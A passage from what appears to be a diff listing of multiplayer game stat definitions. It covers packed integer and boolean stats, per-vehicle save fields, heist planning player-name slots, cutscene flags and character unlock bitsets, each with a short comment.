// Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LRPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(int)CHAR_FM_WEAP_ADDON_7_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH7 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_7_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_7_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + + + + +(int)MPSV_VEHICLE_BS_39 // Add MP0_ or MP1_ // Vehicle_39 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_39 // Add MP0_ or MP1_ // Vehicle_39 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_39 // Add MP0_ or MP1_ // Vehicle_39 premium paid by destroyer of vehicle +(int)MPSV_MODEL_39 // Add MP0_ or MP1_ // Vehicle_39 model enum of vehicle +(int)MPSV_FLAGS_39 // Add MP0_ or MP1_ // Vehicle_39 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_39 // Add MP0_ or MP1_ // Vehicle_39 cost of vehicle when purchased + +(u64)MPSV_LP0_39 // Add MP0_ or MP1_ // Vehicle_39 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_40 // Add MP0_ or MP1_ // Vehicle_40 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_40 // Add MP0_ or MP1_ // Vehicle_40 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_40 // Add MP0_ or MP1_ // Vehicle_40 premium paid by destroyer of vehicle +(int)MPSV_MODEL_40 // Add MP0_ or MP1_ // Vehicle_40 model enum of vehicle +(int)MPSV_FLAGS_40 // Add MP0_ or MP1_ // Vehicle_40 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_40 // Add MP0_ or MP1_ // Vehicle_40 cost of vehicle when purchased + +(u64)MPSV_LP0_40 // Add MP0_ or MP1_ // Vehicle_40 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_41 // Add MP0_ or MP1_ // Vehicle_41 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_41 // Add MP0_ or MP1_ // Vehicle_41 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_41 // Add MP0_ or MP1_ // Vehicle_41 premium paid by destroyer of vehicle +(int)MPSV_MODEL_41 // Add MP0_ or MP1_ // Vehicle_41 model enum of vehicle +(int)MPSV_FLAGS_41 // Add MP0_ or MP1_ // Vehicle_41 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_41 // Add MP0_ or MP1_ // Vehicle_41 cost of vehicle when purchased + +(u64)MPSV_LP0_41 // Add MP0_ or MP1_ // Vehicle_41 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_42 // Add MP0_ or MP1_ // Vehicle_42 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_42 // Add MP0_ or MP1_ // Vehicle_42 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_42 // Add MP0_ or MP1_ // Vehicle_42 premium paid by destroyer of vehicle +(int)MPSV_MODEL_42 // Add MP0_ or MP1_ // Vehicle_42 model enum of vehicle +(int)MPSV_FLAGS_42 // Add MP0_ or MP1_ // Vehicle_42 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_42 // Add MP0_ or MP1_ // Vehicle_42 cost of vehicle when purchased + +(u64)MPSV_LP0_42 // Add MP0_ or MP1_ // Vehicle_42 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_43 // Add MP0_ or MP1_ // Vehicle_43 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_43 // Add MP0_ or MP1_ // Vehicle_43 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_43 // Add MP0_ or MP1_ // Vehicle_43 premium paid by destroyer of vehicle +(int)MPSV_MODEL_43 // Add MP0_ or MP1_ // Vehicle_43 model enum of vehicle +(int)MPSV_FLAGS_43 // Add MP0_ or MP1_ // Vehicle_43 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_43 // Add MP0_ or MP1_ // Vehicle_43 cost of vehicle when purchased + +(u64)MPSV_LP0_43 // Add MP0_ or MP1_ // Vehicle_43 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_44 // Add MP0_ or MP1_ // Vehicle_44 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_44 // Add MP0_ or MP1_ // Vehicle_44 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_44 // Add MP0_ or MP1_ // Vehicle_44 premium paid by destroyer of vehicle +(int)MPSV_MODEL_44 // Add MP0_ or MP1_ // Vehicle_44 model enum of vehicle +(int)MPSV_FLAGS_44 // Add MP0_ or MP1_ // Vehicle_44 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_44 // Add MP0_ or MP1_ // Vehicle_44 cost of vehicle when purchased + +(u64)MPSV_LP0_44 // Add MP0_ or MP1_ // Vehicle_44 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_45 // Add MP0_ or MP1_ // Vehicle_45 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_45 // Add MP0_ or MP1_ // Vehicle_45 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_45 // Add MP0_ or MP1_ // Vehicle_45 premium paid by destroyer of vehicle +(int)MPSV_MODEL_45 // Add MP0_ or MP1_ // Vehicle_45 model enum of vehicle +(int)MPSV_FLAGS_45 // Add MP0_ or MP1_ // Vehicle_45 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_45 // Add MP0_ or MP1_ // Vehicle_45 cost of vehicle when purchased + +(u64)MPSV_LP0_45 // Add MP0_ or MP1_ // Vehicle_45 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_46 // Add MP0_ or MP1_ // Vehicle_46 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_46 // Add MP0_ or MP1_ // Vehicle_46 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_46 // Add MP0_ or MP1_ // Vehicle_46 premium paid by destroyer of vehicle +(int)MPSV_MODEL_46 // Add MP0_ or MP1_ // Vehicle_46 model enum of vehicle +(int)MPSV_FLAGS_46 // Add MP0_ or MP1_ // Vehicle_46 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_46 // Add MP0_ or MP1_ // Vehicle_46 cost of vehicle when purchased + +(u64)MPSV_LP0_46 // Add MP0_ or MP1_ // Vehicle_46 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_47 // Add MP0_ or MP1_ // Vehicle_47 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_47 // Add MP0_ or MP1_ // Vehicle_47 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_47 // Add MP0_ or MP1_ // Vehicle_47 premium paid by destroyer of vehicle +(int)MPSV_MODEL_47 // Add MP0_ or MP1_ // Vehicle_47 model enum of vehicle +(int)MPSV_FLAGS_47 // Add MP0_ or MP1_ // Vehicle_47 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_47 // Add MP0_ or MP1_ // Vehicle_47 cost of vehicle when purchased + +(u64)MPSV_LP0_47 // Add MP0_ or MP1_ // Vehicle_47 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_48 // Add MP0_ or MP1_ // Vehicle_48 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_48 // Add MP0_ or MP1_ // Vehicle_48 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_48 // Add MP0_ or MP1_ // Vehicle_48 premium paid by destroyer of vehicle +(int)MPSV_MODEL_48 // Add MP0_ or MP1_ // Vehicle_48 model enum of vehicle +(int)MPSV_FLAGS_48 // Add MP0_ or MP1_ // Vehicle_48 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_48 // Add MP0_ or MP1_ // Vehicle_48 cost of vehicle when purchased + +(u64)MPSV_LP0_48 // Add MP0_ or MP1_ // Vehicle_48 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_49 // Add MP0_ or MP1_ // Vehicle_49 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_49 // Add MP0_ or MP1_ // Vehicle_49 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_49 // Add MP0_ or MP1_ // Vehicle_49 premium paid by destroyer of vehicle +(int)MPSV_MODEL_49 // Add MP0_ or MP1_ // Vehicle_49 model enum of vehicle +(int)MPSV_FLAGS_49 // Add MP0_ or MP1_ // Vehicle_49 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_49 // Add MP0_ or MP1_ // Vehicle_49 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_50 // Add MP0_ or MP1_ // Vehicle_50 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_50 // Add MP0_ or MP1_ // Vehicle_50 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_50 // Add MP0_ or MP1_ // Vehicle_50 premium paid by destroyer of vehicle +(int)MPSV_MODEL_50 // Add MP0_ or MP1_ // Vehicle_50 model enum of vehicle +(int)MPSV_FLAGS_50 // Add MP0_ or MP1_ // Vehicle_50 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_50 // Add MP0_ or MP1_ // Vehicle_50 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_51 // Add MP0_ or MP1_ // Vehicle_51 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_51 // Add MP0_ or MP1_ // Vehicle_51 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_51 // Add MP0_ or MP1_ // Vehicle_51 premium paid by destroyer of vehicle +(int)MPSV_MODEL_51 // Add MP0_ or MP1_ // Vehicle_51 model enum of vehicle +(int)MPSV_FLAGS_51 // Add MP0_ or MP1_ // Vehicle_51 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_51 // Add MP0_ or MP1_ // Vehicle_51 cost of vehicle when purchased + +(int)MPSV_OBTAINED_TIME_39 // Add MP0_ or MP1_ // Vehicle_39 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_40 // Add MP0_ or MP1_ // Vehicle_40 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_41 // Add MP0_ or MP1_ // Vehicle_41 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_42 // Add MP0_ or MP1_ // Vehicle_42 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_43 // Add MP0_ or MP1_ // Vehicle_43 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_44 // Add MP0_ or MP1_ // Vehicle_44 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_45 // Add MP0_ or MP1_ // Vehicle_45 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_46 // Add MP0_ or MP1_ // Vehicle_46 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_47 // Add MP0_ or MP1_ // Vehicle_47 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_48 // Add MP0_ or MP1_ // Vehicle_48 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_49 // Add MP0_ or MP1_ // Vehicle_49 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_50 // Add MP0_ or MP1_ // Vehicle_50 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_51 // Add MP0_ or MP1_ // Vehicle_51 time vehicle was obtained + +(int)MULTI_PROPERTY_3 // Add MP0_ or MP1_ // Stores what other property player has purchased +_3 +(int)MULTI_PROPERTY_VALUE_3 // Add MP0_ or MP1_ // Stores value other property player has purchased +_3 +(int)LOWRIDER_FLOW_COMPLETE // Add MP0_ or MP1_ // the number of times that the flow has been compleated + + +(packed)NGTATPSTAT_BOOL0 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGTATPSTAT_BOOL1 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGTATPSTAT_BOOL2 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGTATPSTAT_BOOL3 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGTATPSTAT_BOOL4 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)NGTATPSTAT_BOOL5 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(bool)HAS_WATCHED_BENNY_CUTSCE // Add MP0_ or MP1_ // has seen benny cutscene +(int)CHAR_HAIR_VIEWED13 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK13 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_VIEWED14 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK14 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 + + +(bool)LOW_FLOW_CS_DRV_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_DRV_INT +(bool)LOW_FLOW_CS_TRA_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_TRA_INT +(bool)LOW_FLOW_CS_FUN_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_FUN_INT +(bool)LOW_FLOW_CS_PHO_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_PHO_INT +(bool)LOW_FLOW_CS_FIN_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_FIN_INT +(int)LOW_FLOW_CS_HELPTEXT // Add MP0_ or MP1_ // Bitset for tracking low flow cutscene helptext prompts + +(bool)LOW_BEN_INTRO_CS_SEEN // Add MP0_ or MP1_ // Seen cutscene LOW_FIN_INT + +(float)LOW_HYDRAULIC_JUMP // Add MP0_ or MP1_ // Max jump height using hydraulic suspensions. + +(int)MONEY_SPENT_BOSS_GOON // Add MP0_ or MP1_ // Money Spent on Boss Goon +(int)MONEY_EARN_BOSS_GOON // Add MP0_ or MP1_ // Money Earnt on Boss Goon +(u64)BOSS_GOON_UUID // Add MP0_ or MP1_ // Universal Unique ID for a Boss +(int)BOSS_GOON_VERSION // Add MP0_ or MP1_ // Boss version + + +(string)HEIST_MISSION_PLAYER_S_0_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 0 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_0_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 0 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_0_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 0 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_0_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 0 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_1_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 1 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_1_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 1 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_1_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 1 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_1_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 1 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_2_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 2 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_2_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 2 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_2_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 2 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_2_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 2 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_3_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 3 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_3_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 3 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_3_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 3 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_3_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 3 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_4_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 4 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_4_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 4 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_4_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 4 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_4_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 4 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_5_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 5 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_5_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 5 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_5_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 5 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_5_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 5 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_6_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 6 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_6_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 6 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_6_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 6 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_6_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 6 player name for sub-slot 3 +(string)HEIST_MISSION_PLAYER_S_7_0 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 7 player name for sub-slot 0 +(string)HEIST_MISSION_PLAYER_S_7_1 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 7 player name for sub-slot 1 +(string)HEIST_MISSION_PLAYER_S_7_2 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 7 player name for sub-slot 2 +(string)HEIST_MISSION_PLAYER_S_7_3 // Add MP0_ or MP1_ // Heist Planning - STRING - Set-up mission 7 player name for sub-slot 3 + +(int)CHAR_KIT_14_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_14_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_14_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE14 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)GB_HTB_PREV_LOC // Add MP0_ or MP1_ // Gang Boss - Hunt the Boss previous location. + + + +(int)MPSV_VEHICLE_BS_52 // Add MP0_ or MP1_ // Vehicle_52 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_52 // Add MP0_ or MP1_ // Vehicle_52 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_52 // Add MP0_ or MP1_ // Vehicle_52 premium paid by destroyer of vehicle +(int)MPSV_MODEL_52 // Add MP0_ or MP1_ // Vehicle_52 model enum of vehicle +(int)MPSV_FLAGS_52 // Add MP0_ or MP1_ // Vehicle_52 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_52 // Add MP0_ or MP1_ // Vehicle_52 cost of vehicle when purchased + +(u64)MPSV_LP0_52 // Add MP0_ or MP1_ // Vehicle_52 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_53 // Add MP0_ or MP1_ // Vehicle_53 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_53 // Add MP0_ or MP1_ // Vehicle_53 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_53 // Add MP0_ or MP1_ // Vehicle_53 premium paid by destroyer of vehicle +(int)MPSV_MODEL_53 // Add MP0_ or MP1_ // Vehicle_53 model enum of vehicle +(int)MPSV_FLAGS_53 // Add MP0_ or MP1_ // Vehicle_53 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_53 // Add MP0_ or MP1_ // Vehicle_53 cost of vehicle when purchased + +(u64)MPSV_LP0_53 // Add MP0_ or MP1_ // Vehicle_53 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_54 // Add MP0_ or MP1_ // Vehicle_54 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_54 // Add MP0_ or MP1_ // Vehicle_54 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_54 // Add MP0_ or MP1_ // Vehicle_54 premium paid by destroyer of vehicle +(int)MPSV_MODEL_54 // Add MP0_ or MP1_ // Vehicle_54 model enum of vehicle +(int)MPSV_FLAGS_54 // Add MP0_ or MP1_ // Vehicle_54 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_54 // Add MP0_ or MP1_ // Vehicle_54 cost of vehicle when purchased + +(u64)MPSV_LP0_54 // Add MP0_ or MP1_ // Vehicle_54 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_55 // Add MP0_ or MP1_ // Vehicle_55 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_55 // Add MP0_ or MP1_ // Vehicle_55 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_55 // Add MP0_ or MP1_ // Vehicle_55 premium paid by destroyer of vehicle +(int)MPSV_MODEL_55 // Add MP0_ or MP1_ // Vehicle_55 model enum of vehicle +(int)MPSV_FLAGS_55 // Add MP0_ or MP1_ // Vehicle_55 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_55 // Add MP0_ or MP1_ // Vehicle_55 cost of vehicle when purchased + +(u64)MPSV_LP0_55 // Add MP0_ or MP1_ // Vehicle_55 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_56 // Add MP0_ or MP1_ // Vehicle_56 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_56 // Add MP0_ or MP1_ // Vehicle_56 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_56 // Add MP0_ or MP1_ // Vehicle_56 premium paid by destroyer of vehicle +(int)MPSV_MODEL_56 // Add MP0_ or MP1_ // Vehicle_56 model enum of vehicle +(int)MPSV_FLAGS_56 // Add MP0_ or MP1_ // Vehicle_56 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_56 // Add MP0_ or MP1_ // Vehicle_56 cost of vehicle when purchased + +(u64)MPSV_LP0_56 // Add MP0_ or MP1_ // Vehicle_56 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_57 // Add MP0_ or 